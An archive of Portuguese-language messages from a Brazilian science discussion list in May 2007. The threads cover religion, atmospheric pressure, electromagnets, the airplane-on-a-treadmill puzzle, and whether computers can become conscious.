> > seus deuses; não crêem em fantasmas, mas tem medo do escuro. :)
> >
> > A lavagem cerebral da religião feita nas crianças, por exemplo,
> > sobrevive na idade adulta na imensa maioria das pessoas. Até mesmo
> > muitos "céticos" têm medo de ter certeza de que seus deuses da
> > infância não existam. Sabem que é irracional, mas eles mesmos
não têm
> > um comportamento racional ao lidar com o assunto.
> >
> > A mente humana é uma construção em camadas onde uma se apóia na
outra.
> > Depois que há muitas camadas sobrepostas e sedimentas, não dá para
> > retirar uma camada profunda sem "desconstruir" todo o resto. Ocorre
> > que essa "desconstrução" é muito trabalhosa e, francamente, quase
> > nunca ocorre.
> >
> > A melhor solução que conheço é investir na educação dos
pequenos, mas
> > mesmo assim não é fácil porque até mesmo muitos dos professores de
> > biologia que ensinam a teoria da evolução para as crianças, crêem,
> > eles mesmos, na teoria da criação divina. Assim fica difícil...
> >
> > Abraços,
> > JC
> >
> > --- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> > <joaobncarvalho@> escreveu
> > >
> > > > sejam bem-vindos ao deserto da realidade.
> > >
> > > É bem provável que o Takata seja um computador quântico.
Talvez um
> > > experimento do Pentágono que foi colocado em uma lista do Brasil
> para
> > > não despertar suspeitas. Mas Manuel, você podia pelo menos ter
nos
> > > oferecido a possibilidade de tomar a pílula azul. Ao clicar em
seu
> > > link nós podíamos ser direcionados para a página da Disney, ou da
> > > Playboy.
> > >
> > > É uma pergunta interessante que um cara fez em outra lista: Você
> > > tomaria a azul ou a vermelha?
> > >
> > > Antes de escolher, lembre-se do comentário de um dos personagens:
> > > Ignorance is bliss. Tem também a observação do Morpheus sobre a
> > > pílula vermelha: Tudo que eu te ofereço é a verdade, nada mais
que
> > > isso. Vocês encarariam a verdade, mesmo sabendo que
contemplá-la é
> > > contemplar o abismo? Pois o mundo é um abismo, e o que eu vejo
> por aí
> > > são pessoas tentando não olhar para ele. Botá-lo debaixo do
tapete.
> > > Tentando acreditar que ele não existe. A grande maioria tomaria a
> > > azul. A percentagem de pessoas que acreditam nas bases
> darwinistas e
> > > computacionais da mente deve estar abaixo de 1%. Nós só
> aceitamos que
> > > a Terra gira em torno do Sol porque não temos escolha. Também
> não dá
> > > para dizer que não existem galáxias, e aglomerados de galáxias
que
> > > estão a 5 bilhões de anos luz daqui. Isso sem falar daquelas
> > > partículas quânticas, que são uma das maiores evidências de que
> Deus
> > > não existe. Se ele existisse não teria criado algo tão
cretino. É o
> > > deserto da realidade. Não digo nem bem-vindos, pois seria uma
> ironia.
> > > Se Deus existe, ele nos sacaneou.
> > >
> > > João
> > >
> >
> >
> >
> >
> >
> >
> >
> ----------------------------------------------------------
> >
> >
> > No virus found in this incoming message.
> > Checked by AVG Free Edition.
> > Version: 7.5.467 / Virus Database: 269.7.4/811 - Release Date:
> 18/5/2007 15:50
> >
> >
> > [As partes desta mensagem que não continham texto foram removidas]
> >
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> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.7.4/811 - Release Date:
18/5/2007 15:50
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Entrevista com Douglas. R. Hofstadter - Sobre IA, consciência artificial e afins
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 23:27

Olá pessoal

Neste momento está passando no canal Globo News, programa Milenio, uma
interessantíssima entrevista com o cientista cognitivo Douglas. R.
Hofstadter, onde ele relata suas idéias sobre IA, consciência e
correlatos.

Ele também pensa que a consciência pode surgir em qualquer substrato,
desde que o padrão de complexidade se repita.

Quem puder assistir, vale a pena.

Um abraço.

Homero



SUBJECT: Entrevista com Douglas. R. Hofstadter - 2
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 23:28

Olá pessoal

Em tempo, a entrevista com o cientista cognitivo Douglas. R.
Hofstadter, vai ser repetida as 3:30 da madrugada de hoje (daqui a
pouco).

Um abraço.

Homero



SUBJECT: Sobre o abismo, para o JC.
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 04:52

Olá, JC.

> > Elas fazem sim. Especialmente hoje em dia. Tem gente que diz ser
o
> > cérebro complicado demais para ser entendido. Na verdade, elas
querem
> > que ele seja complicado demais de modo que a neurologia não
consiga
> > abordá-lo.

> Será?

Sim. Com certeza. A mente se tornou o último bastião de resistência
espiritual contra o avanço do conhecimento. A partir daí não há mais
para onde eles recuarem. Eles irão se entrincheirar e lutar até o
último sobrevivente. A causa deles é nobre, e eu a compreendo. Eles
lutam pela grandeza humana, por sua dignidade e valor. Já o avanço da
ciência representa o deserto da realidade, o abismo no qual, se
contemplado, só irá trazer mal-estar. Mas para mim, pelo menos, não
existiu opção. Eu já tomei a pílula vermelha, e a tomaria de novo, se
me dessem a opção. A verdade é o meu deus. É um deus horrível, frio,
inumano. Ele não irá me trazer felicidade ou bem-estar. Mas, por
razões psicológicas da minha história de vida (coisas íntimas que não
irei aqui contar), é o caminho que resolvi tomar. Na verdade, foi o
único caminho que me foi apresentado. Eu não tive opção. Diante do
desamparo emocional que eu passei, o abismo foi a única coisa que me
estendeu a mão. A única rocha sólida em que eu pude me agarrar. E eu
a agarrei. Eu fiquei amigo do monstro. "Amigo", na verdade, não é o
melhor termo, pois eu sei que ele é um monstro que assusta os
humanos, e que é altamente nocivo. Mas acho que, durante a pré-
adolescência, e eu não sabia disto, e achava que ele era um amigo.
Durante a noite, contemplando as estrelas, eu conversava com ele. Eu
fiquei íntimo dele. Só depois, quando amadureci, que eu me dei conta
de sua inumanidade, de sua frieza abissal. Mas já era tarde demais.
Eu já havia tomado a pílula vermelha. Não dava para empurrar o abismo
para baixo do tapete e fingir que ele não existia. Quando você olha
para o abismo, o abismo olha para você.

>>1 milhão, 1 bilhão, que diferença faz?

> Você está fazendo opção pela ignorância disso?

Creio que não. Apenas admitindo minha incapacidade de contemplar o
abismo em toda a sua profundidade. Ele é insondável, e por isso é
abissal. Mas creio poder contemplá-lo de forma mais profunda que a
maioria das pessoas. O preço que eu pago por isso é alto. Por isso
compreendo àqueles que se recusam a contemplá-lo, e por eles
demonstro simpatia. Não sei muito bem por que estou te falando isso.
Se eu posso te dar um conselho, sugiro que você tome a pílula azul.
Tomar a vermelha não vai te levar a nenhum estado mais elevado de
consciência ou realização, e você será muito mais feliz com a azul. É
melhor se agarrar a sua crença de que o abismo não existe, e que é
simplesmente uma interpretação do mundo de um indivíduo desajustado.
Opte por ser um humano, e ver o mundo de uma forma tacanha, mas
feliz. Humanos não foram feitos para contemplar o abismo, e isso só
nos foi possível através do desenvolvimento de meios científicos e
tecnológicos avançados. E lembre-se: se você olha para o abismo, o
abismo olha para você.

Bom, apesar do conteúdo sinistro dessa mensagem, desejo-lhe sinceras
saudações.
João de Carvalho




SUBJECT: Re: [ciencialist] o Conhecimento. - frase da semana.
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, "ateus" <ateus-br@yahoogroups.com>, <Acropolis_@yahoogrupos.com.br>
DATE: 22/05/2007 08:09

Tem gente (muita gente) com grande conhecimento sobre as novelas da Globo ... e que fazem uso dele como coisa principal da vida.
Espero que o Tal Mude de idéia!

anônimo
++++++++++++++++++++
Enviada em: segunda-feira, 21 de maio de 2007 18:35
Assunto: [ciencialist] o Conhecimento. - frase da semana.


"A coisa principal na vida não é o conhecimento, mas o uso que dele se faz."

Talmude
++++++++++++++++++++




SUBJECT: Re: [ciencialist] Re: Fw: eletroima
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 08:13

Ra ra rá .... boa! Não sei se o professor do garoto vai entender a piada.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 21 de maio de 2007 23:03
Assunto: [ciencialist] Re: Fw: eletroima


Peça para o garoto enrolar 100 metros de fio esmaltado (não precisa se
precupar com a espessura) em uma pilha de 1,5 V. Daí ele coloca 121
clips (um é de brinde) em um dos pratos de uma balança de braços
iguais. Em seguida coloca o eletroíma no outro prato e... Voilá!

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Quem quer fazer esses cálculos ... mesmo aproximado!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Thiago
> Para: leobarretos@...
> Enviada em: quinta-feira, 17 de maio de 2007 12:52
> Assunto: eletroima
>
>
> Boa tarde Leo Barretos novamente venho enviar um email pois
necessito de informações para confecção de um eletroima, preciso
levantar 120 clipes de papel e com uma pilha de 1,5v pequena e nucleo
de ferro, preciso fazer este eletroima até dia 25/05/07 e preciso do
seu auxilio por favor se possivel favor me enviar um email estou no
aguardo da sua resposta e desde já agradeço pela colaboração e atenção.
>
> Atenciosamente.
>
> Thiago Willian de Paula
> Desenhista copista ( SMFO )
> thiago.wilian.mwl@...
> (12) 3654-7400 ramal 423
>



SUBJECT: RES: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 08:19

Quanta agressividade rapaz :)


-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: segunda-feira, 21 de maio de 2007 23:21
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada

> Olá, Ricardo!

Olá José!


> Se vc já não agüenta mais não precisa continuar, OK?
> Mas parece que vc está em dúvida se vai, se
> fica ou antes pelo contrário... Se toda vez vc for
> pedir desculpas aos listeiros, o melhor é decidir se fica por aqui
> ou se vai continuar... Se for continuar tire as teias de
> aranha dos neurônios e vamos lá!

O problema é que realmente é difícil me calar quando vejo que vc continua
patinando nos mesmos erros (viu, não precisei nem ser agressivo para falar
isso).

> 1. Quando a medida da velocidade do avião for feita por GPS, está
> considerando a terra-chão como referencial. Nesse caso o avião acelera e
> levanta vôo com o *dobro da velocidade da esteira*, medida em relação à
> terra-chão...

Ok, concordamos.

> 2. Se a medida da velocidade do avião for feita pela velocidade do ar
> fluindo contra o avião, ele também alça vôo com uma velocidade
> *em torno de dobro da velocidade da esteira*, a depender das
> correntes de ar... Está considerando como referência a massa de
> ar em movimento.

Não é bem isso, mas o mais importante é o próximo ponto mesmo.

> 3. Se a medida da velocidade do avião for feita em relação à esteira, se
> deslocará sobre a esteira a mesma distância que a esteira se desloca para
> trás com o avião, infinitesimalmente, quando o avião acelera os
> motores-turbinas, conforme um sistema que mantém a esteira com a *mesma
> velocidade do avião* em sentido contrário. Nesse caso o avião permanece
> praticamente parado em relação à massa de ar, não terá sustentação para
> alçar vôo...

A medida da velocidade do avião *não pode ser feita em relação à esteira*. E
ponto. Não faz nenhum sentido o enunciado falar de duas velocidades (do
avião e da esteira) se não estiver falando de um único referencial para o
problema, a não ser que, em algum problema específico isto fosse
especificado no enunciado. Por isso não podemos medir a velocidade do avião
em relação à esteira. Porque a esteira não poderá ter velocidade em relação
à esteira, como já discutimos antes (inúmeras vezes). Este aspecto vc nem
questionou. Nem antes, nem agora. Então se quiser continuar esta
(interminável e cansativa) discussão, por favor, responda primeiro a este
ponto, para não ficar patinando parado no mesmo lugar, como o seu avião (só
uma piada, mas sem agressividade, ok?).


> Por favor, não esqueça de raciocinar um pouco antes de qualquer coisa...

Vou tentar lembrar disso...


> []s
> José Renato

Abraços,

Ricardo





SUBJECT: Re: press�o atmosf�rica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "fabio teixeira" <fabio.jagua@hotmail.com>
CC: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 09:57

Olá Prof. Fábio,

suas dúvidas o levam a um único gargalo, a saber, o 'conceito de pressão'. Pressão não é algo que aperte, empurra, comprime, force, segura, equilibre etc. Todos esses termos são referentes à "força" e, pressão não é força! Nenhum prof. de física vai fazer gestos com as mãos (para os alunos) dizendo que a pressão atmosférica nos 'aperta para baixo' pois, a pressão não aperta coisa alguma! Isso é coisa de prof. de geografia! Minha prof(a). de geografia tb fazia isso!
A pressão é um conceito físico de 'distribuição', algo análogo à 'densidade', que nos informa 'quanto de massa está contida num dado volume'. A pressão nos informa a distribuição de "intensidades de força (valor) numa dada área". Essa 'grandeza física' (pressão) admite os adjetivos de 'maior', 'menor', 'igual', mas não os adjetivos de 'apertar', 'empurrar', 'comprimir' etc.
Se vc fechar uma garrafa PET na superfície da terra e outra garrafa PET a 20 km de altura sobre a superfície, poderá dizer, com certeza, que a pressão exercida (não, "aplicada")pela ar na primeira garrafa é "maior" que aquela exercida na segunda. Isso porque a distribuição de valores de 'choques' (forças aplicadas) das moléculas de ar contra a parede, na primeira garrafa, é tremendamente maior que na segunda.
Se vc levar a primeira garrafa à 20 km de altura, o número de choques das moléculas de ar interno é muito maior que o número de choques das moléculas de ar externo --- a garrafa pode 'explodir'!
Se vc traz o segunda garrafa lá das alturas aqui para a superfície, o número de choques das moléculas de ar externo é tremendamente maior que as do ar interno --- a garrafa vai 'implodir' (esmagar)!
Assim: se a pressão interna é maior que a externa, as "forças de pressão" (termo que se usa para as forças envolvidas na distribuição)forçam, empurram (etc.) as paredes do continente para fora --- e vice-versa.
Dizer que a pressão atmosférica ao nível do mar é de 1 atmosfera é dizer que em cada centímetro quadrado (área) tem-se uniformemente distribuída a intensidade de força de 1 quilograma-força. E não importa se esse "1 cm²" está de pé, deitado, de lado, de ponta-cabeça etc. Pressão não tem orientação! Pressão é grandeza 'escalar'.
Como colocar 1 kgf bem distribuído sobre 1 cm²? Simples, pegue um tubo de ensaio de 10,5 m de comprimento e base (círculo da base) de 1 cm² e encha-o com água (de densidade 1 g/cm³). Emborque esse tubo em uma tina de água e retire o dedo que está fechando o grande tubo de ensaio --- o nível da água no tubo desce e estaciona a cerca de 10 m de altura. Feito o Barômetro de Torricelli, com água. O peso de 1 kgf de água do tubo naquele 1 cm² foi 'equilibrado' pelo peso de 1 kgf de uma coluna de ar de milhares de metros de altura agindo naquela mesmo 1 cm². Por isso, a pressão atmosférica tem o valor de 1 kgf/cm² ao nível do mar!
Ora, se seu copo tem menos de 10 metros de altura de água, com certeza absoluta, o peso da coluna de ar sobre o cartão que veda o copo será maior que o peso da água que está dentro do copo --- por isso a água do copo não 'cai'.

Vejamos sua experiência com a garrafa e água quente: a garrafa continha ar à temperatura ambiente (então, o número de choques moleculares interno e externo se equilibram). Vc colocou água quente dentro da garrafa e isso aqueceu o ar, esse se dilata e é expulso da garrafa. A fechar a garrafa o número de moléculas de ar (atualmente mais agitadas que as externas, choques com maior violência) no interior da garrafa é menor que quando na temperatura ambiente. Mas, como os golpes ocorrem com maior violência (maior energia cinética) devido à sua temperatura, ainda há equilíbrio de forças na parede da garrafa. Do lado de fora inúmeras moléculas de ar golpeiam a garrafa com forças de pequena intensidade e do lado de dentro 'poucas' moléculas o fazem, mas com forças de maior intensidade --- há equilíbrio.
Mas, como a garrafa está quente e o ar externo está frio, começa a ocorrer troca de calor do mais quente para o mais frio --- o ar do interior da garrafa esfria, a violência dos choques das moléculas contra a parede diminui, MAS, DO LADO DE FORA NÃO! (A pressão externa é maior que a interna). A intensidade da resultante das forças por centímetro quadrado é maior do lado de fora que pelo lado de dentro --- as forças de pressão externas superam as internas --- a garrafa implode, a força de pressão externa esmaga a garrafa! Não é a diferença de pressão que esmaga a garrafa é a diferença entre as forças de pressão que se incumbe disso!

Na dúvida, retorne.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: fabio teixeira
Para: leobarretos@uol.com.br
Enviada em: segunda-feira, 21 de maio de 2007 17:23
Assunto: pressão atmosférica






Boa tarde, prof. Eu gostaria de ter mais informações sobre pressão atmosférica, pois de acordo com alguns livros ela varia de acordo com a temperatura e a altitude certo? Eu também queria saber por que a água do copo não cai ao vi ralo de cabeça para baixo, (essa experiência do papel em baixo do copo).
Eu também fiz uma pesquisa na internet, na qual você disse que não existe pressão p/ baixo e nem p/ cima. Então o que segura o papel em baixo do copo?


Eu também fiz uma experiência com uma garrafa peti de 2 litros, que na qual coloquei um pouco de água quente e depois joguei a água fora e tampei a garrafa.

Depois a garrafa começou a contrair para dentro, ela começou a ser esmagada sem ninguém tocar nela. Eu não se é por causa da temperatura interior da garrafa que era quente (baixa pressão) e fora dela o ar frio alta pressão.

Se for possível eu queria saber, para mostra para os meus alunos.





Um abraço,

Ass. Fabio Teixeira, acadêmico da 7ª do curso de Geografia ( UNISUL- Universidade do Sul de Santa Catarina)




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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: A verdadeira foto do Takata
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 10:15

E que culpa tem o boi?

[ ]s

Alvaro Augusto


----- Original Message -----
From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 21, 2007 11:14 PM
Subject: [ciencialist] Re: A verdadeira foto do Takata


Proponho um churrasco para resolver essa peleja.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > Por que seu pensamento é superior?Simplesmente porque representa a
> > mentalidade da sociedade vigente?Quem pode julgar isso?
>
> Vc quis julgar, acho q posso julgar tb. Não é meu pensamento q é
> superior e a ética q eu aceito (superior à sua ética).
>
> A - Vc salvaria 200 vacas e deixaria um ser humano morrer.
> B - Vc salvaria 3 vacas e deixaria um garoto morrer.
> C - Vc salvaria 3 frangos e deixaria uma grávida morrer.
>
> 1 - Eu salvaria um ser humano no lugar de 200 vacas.
> 2 - Eu salvaria o garoto no lugar de 3 vacas.
> 3 - Eu salvaria a mulher grávida no lugar dos 3 frangos.
>
> Claro q vc considera sua ética superior na medida em q condena
> eticamente quem se alimenta de animais não-humanos. Entre uma ética q
> proíbe comer carne, mas defende q as situações de A a C possam ocorrer
> e uma ética q permite comer carne, mas defende q ocorram as situações
> 1 a 3; o segundo sistema é superior.
>
> > Lhe fiz uma ironia sbre sua própria aparência e venho pedir
> > desculpas por isso, por invadir sua privacidade pois que fui mal
> > compreendida, eu sei bem o que significa etologia e psicologia e
> > sobre etologia e a diferença para Behavorismo, que parece que vc aí
> > confundiu.
>
> Menos mal q tenha pedido desculpas, embora o trecho abaixo dê pintas
> de q não é sincera.
>
> Ninguém mencionou behaviorismo.
>
> > Porém, tenho que novamente pedir excusas a lista pois que apenas um
> > diploma universitário nos permite discutir assuntos referentes ao
> > "diploma" que temos...
>
> Discutir vc pode discutir à vontade sobre praticamente qq coisa. Dar
> diagnóstico em área regulamentada ao qual vc não está habilitada é
> exercício ilegal de profissão.
>
> > Porém, eu me furto a responder sua pergunta porque não estou aqui
> > para impor meu pensamento para a lista, assim como não vou discutir
> > na lista o certo e o errado.
>
> Menos mal q resolveu parar de querer impor a sua visão vegan.
>
> > Honestamente, e respeitosamente falando, querido Takata, vc parece
> > querer impor apenas para "ganhar a discussão"...isso não é algo que
> > me interessa.
>
> Não impus coisa alguma. Sobre o exercício ilegal de psicologia, está
> na lei. Sobre vegetarianismo e onivorismo, não há nenhuma imposição
> sobre os vegetarianos - querem ser vegetarianos? Ótimo, q sejam
> felizes, q tomem cuidados para a complementação da dieta. Mas a minha
> visão tb é: querem ser onívoros? Tb ótimo, q sejam felizes e q tomem
> cuidados para balancearem bem a dieta.
>
> []s,
>
> Roberto Takata



SUBJECT: Paradoxo: duas forças irresistíveis
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 10:31

O que acontece quando duas forças irresistíveis se chocam:

Resposta: a Angelina Jolie engravida do Brad Pitt.

[]s
Manuel Bulcão



SUBJECT: Re: [ciencialist] Paradoxo: duas forças irresistíveis
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 10:44

Quanto à Angelina Jolie, concordo, mas Brad Pitt é irresistível?

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Manuel Bulcão" <manuelbulcao@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 22, 2007 10:31 AM
Subject: [ciencialist] Paradoxo: duas forças irresistíveis


O que acontece quando duas forças irresistíveis se chocam:

Resposta: a Angelina Jolie engravida do Brad Pitt.

[]s
Manuel Bulcão



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SUBJECT: Re: [ciencialist] P/ Chicão - Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 10:57

--- oraculo333 <oraculo@atibaia.com.br> escreveu:
> Olá Chicão
>
> Chicão: "Halting Problem."
>
> O problema da parada não é um paradoxo. Eu tenho o
> texto que o Takata
> sugeriu sobre isso, mas está em espanhol, se quiser
> assim mesmo eu
> mando para você.
> O problema da parada, o halting problem, não é um
> paradoxo
> auto-inferente em todo caso.

Bem, vou me expressar melhor: o príncipio lógico que
origina o problema da parada é o mesmo de todo
paradoxo auto-referente da lógica de primeira ordem.
Mas mesmo assim não deixa de ser um paradoxo. Um
algoritmo que pára quando não pára é um paradoxo(e se
isso não é um paradoxo, você é o ferrari disfarçado
:p). O que Turing mostrou foi que as máquinas de
turing(computadores) não são capazes de lidar com esse
tipo de construção. Daí dizer que o computador "trava"
quando recebe problemas do tipo é apenas um abuso de
linguagem.
Existem milhares de textos, artigos na net comprovando
o que eu digo. Minha sugestão: estude teoria da
computação.

> Chicão: "O problema não é físico mas sim do ramo da
> lógica de
> > primeira ordem. Estou com a impressão que voce
> anda
> > trocando os dois."
> Acho que não..:-) Além disso boa parte do problema,
> se não todo ele, é
> físico nesse caso, pois tanto o hardware quanto o
> software são
> "físicos", no sentido de não sobrenatural.

Em nenhum momento citei o sobrenatural. Tanto o
hardware como o software dos computadores são
construídos a partir de premissas lógicas.

> Se um substrato físico pode gerar consciência, não
> parece haver
> impedimento, ou evidência disso, para surgir
> novamente em outro
> substrato, o hardware.

Indução otimista. Você sabe tanto quanto eu os
possíveis problemas disto.



"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Fw: livros de eletrot�cnica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 10:59

Quem ajuda?

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: Fernando Rodrigues da Silva Rodrigues da Silva
Para: leobarretos@uol.com.br
Cc: fernandorodrygues@yahoo.com.br
Enviada em: segunda-feira, 21 de maio de 2007 09:56
Assunto: livros de eletrotécnica


Caro professor,
Eu sou Fernando, e gostaria de saber algumas indicações de livros que falem sobre bobinamento de motores elétricos monofásicos e trifásicos e onde posso encontrá-los com preço acessível. Eu sou um curioso da área e na minha cidade só existe uma pessoa que faz este tipo de serviço mas ele aprendeu só a pratica e eu, ao contrário, quero aprender também a teoria. Agradeço muito a sua ajuda. Também quero parabenizá-lo pelo site "feiradeciencias". Ele é ótimo.
Até outra oportunidade.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] (Para Homero) - Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 11:11

--- Oraculo <oraculo@atibaia.com.br> escreveu:
> Na verdade, o que afirmei é que não parecia haver
> nenhum indicio de que isso seria impossível, nem o
> problema da parada, nem paradoxos.
> Talvez hoje chimpanzés não possam lidar com
> paradoxos, ou mesmo com o problema da parada como
> nós, mas nós já estivemos na posição deles, e
> evoluímos até adiquirir essa capacidade, nada impede
> que sistemas de computação também o façam.

Bem, se surgir um novo paradigma de computação que
seja capaz de lidar com auto-referência então eu me
calo.
Como já disse, homens sabem lidar com auto-referência,
computadores, em alguns casos, não. Isso já é o
suficiente para afirmar que computadores(máquinas de
turing) não serão capazes de alcançar plenamente a
inteligência humana.


> Defensores da impossibilidade dessa ocorrência em
> geral usam um argumento baseado em uma propriedade
> não material, uma alma por exemplo, que seria
> exterior ao sistema cognitivo, cerebral. Se isso for
> verdade, se existir uma alma, então é mesmo
> impossível que computadores desenvolvam consciência
> ou inteligência (a não ser que o responsável por
> esta alma decida coloca-la também em cérebros
> eletrônicos..:-).

Quem está falando de alma aqui é vc :p.

> Nosso problema no momento é, sem considerar o
> elemento sobrenatural, que outro elemento ou
> propriedade da mente humana pode ser apontado como
> exterior a complexidade cerebral, e dessa forma ser
> um impedimento para o surgimento de processos
> cognitivos avançados em sistemas artificiais?

Você está colocando toda a responsabilidade no
cerébro.
Você só poderia fazer isso de forma segura se
entendesse plenamente o funcionamento do cerébro e da
inteligência.

> Da mesma forma, não há nenhuma evidência de que
> sistemas de informação não possam, no futuro,
> alcançar esse estágio.

Com esse paradigma de computação, não.
Note que não estou querendo dizer que não exista
alguns processos cognitivos que sejam algoritmizáveis
dentro do paradigma vigente. O que separa inteligência
humana de computadores é a auto-referência.

> Isso também se aplica, a meu ver, a sistemas de
> computação. Alegar uma dificuldade com algum
> processo cognitivo, hoje, para concluir que será
> impossível avançar até a consciência, não me parece
> lógico ou sustentável a partir de evidências
> sólidas.

Não é dificuldade: é impedimento teórico. A não ser
que inventem outro paradigma de computação que supere
isso.


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
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SUBJECT: Re: [ciencialist] Paradoxo: duas forças irresistíveis
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 11:20

Não há choque de forças; há choque entre corpos materiais dos quais participam forças de interação. Não existe o conceito de forças irresistíveis!
A massa do Brad é maior que a massa da Angelina e eles podem se chocar de frente (um tipo de choque central). Se o coeficiente de restituição for igual a 1, após o choque eles se afastam, a Angelina com maior velocidade que aquela de aproximação. Se o coeficiente de restituição for nula eles se esborracham e ficam grudados. Pouca chance de engravidar.
Putz grila! Quanta bobagem! É melhor aceitarmos o conhecimento ferrariano:Brad não existe, Angelina não existe, é uma falsa percepção da realidade do mundo, o que o Bulcão diz é um raciocínio, uma onda se propagando na matéria (meio) que atingiu meu monitor como um pulso vibrante e se converteu em consciência do óbvio. É o óbvio, pense cognitivamente nisso! Vc vai conseguir enxergar a verdade --- o método científico é a linguagem do óbvio, aceite isso! Física não é Ciência, é a Ciência da Física!

[]'
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Luiz Ferraz Netto [Léo]
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De: "Manuel Bulcão" <manuelbulcao@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 22 de maio de 2007 10:31
Assunto: [ciencialist] Paradoxo: duas forças irresistíveis


O que acontece quando duas forças irresistíveis se chocam:

Resposta: a Angelina Jolie engravida do Brad Pitt.

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SUBJECT: Re: [ciencialist] (Para jefferson)MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 11:25

--- Jefferson <jeff@jeff.com.br> escreveu:
> Como o Homero bem explicou, o nosso cérebro pode
> entrar em loop em algumas
> situações (adiciono doenças neurológicas) e um
> computador pode prever loops
> e se esquivar facilmente (o problema é do software).

O meu não entrou quando estudei o problema da parada.
Computadores se quebram quando se deparam com este
problemas e correlatos, como por exemplo, se duas
gramáticas geram a mesma linguagem.

> Mas estou falando de rede neural artificial, que é
> uma modelo matemático
> bastante simples baseado no funcionamento de um
> cérebro real (bem
> simplificado). Como disse no e-mail anterior, uma
> rede neural com meia-dúzia
> de neurônios é capaz de aprender valores (o que é
> bom e o que é ruim, por
> exemplo), em treinamento (aprendizado
> supervisionado) e, quando colocada pra
> trabalhar, numa situação real, toma decisões
> baseadas nestes valores. MAS,
> ela continua aprendendo e, depois de algum tempo,
> pode até mudar seus
> valores e tomar atitudes racionais que ninguém
> previa. Você teria então que
> conhecer toda a experiência desta rede e analisá-la
> para entender porque que
> ela tomou aquela atitude (como um psicólogo faria
> com um humano :-)

Tudo que puder ser simulado em um computador estará
sujeito a indecibilidade.
Então não espere que com esse paradigma atual se
consiga plenamente atingir o grau de inteligência
humana.


> Agora imagine bilhões de neurônios e um sistema mais
> sofisticado... Como eu
> sei como uma rede neural artificial funciona, já
> montei uma e ví funcionar,
> eu imagino que, no futuro, uma rede neural muito
> complexa poderá fazer
> coisas estranhas, incompreensíveis, aparentemente
> irracionais, que vamos
> chamar de "sentimentos".

Isso se sentimentos puderem ser descritos com máquinas
de turing.


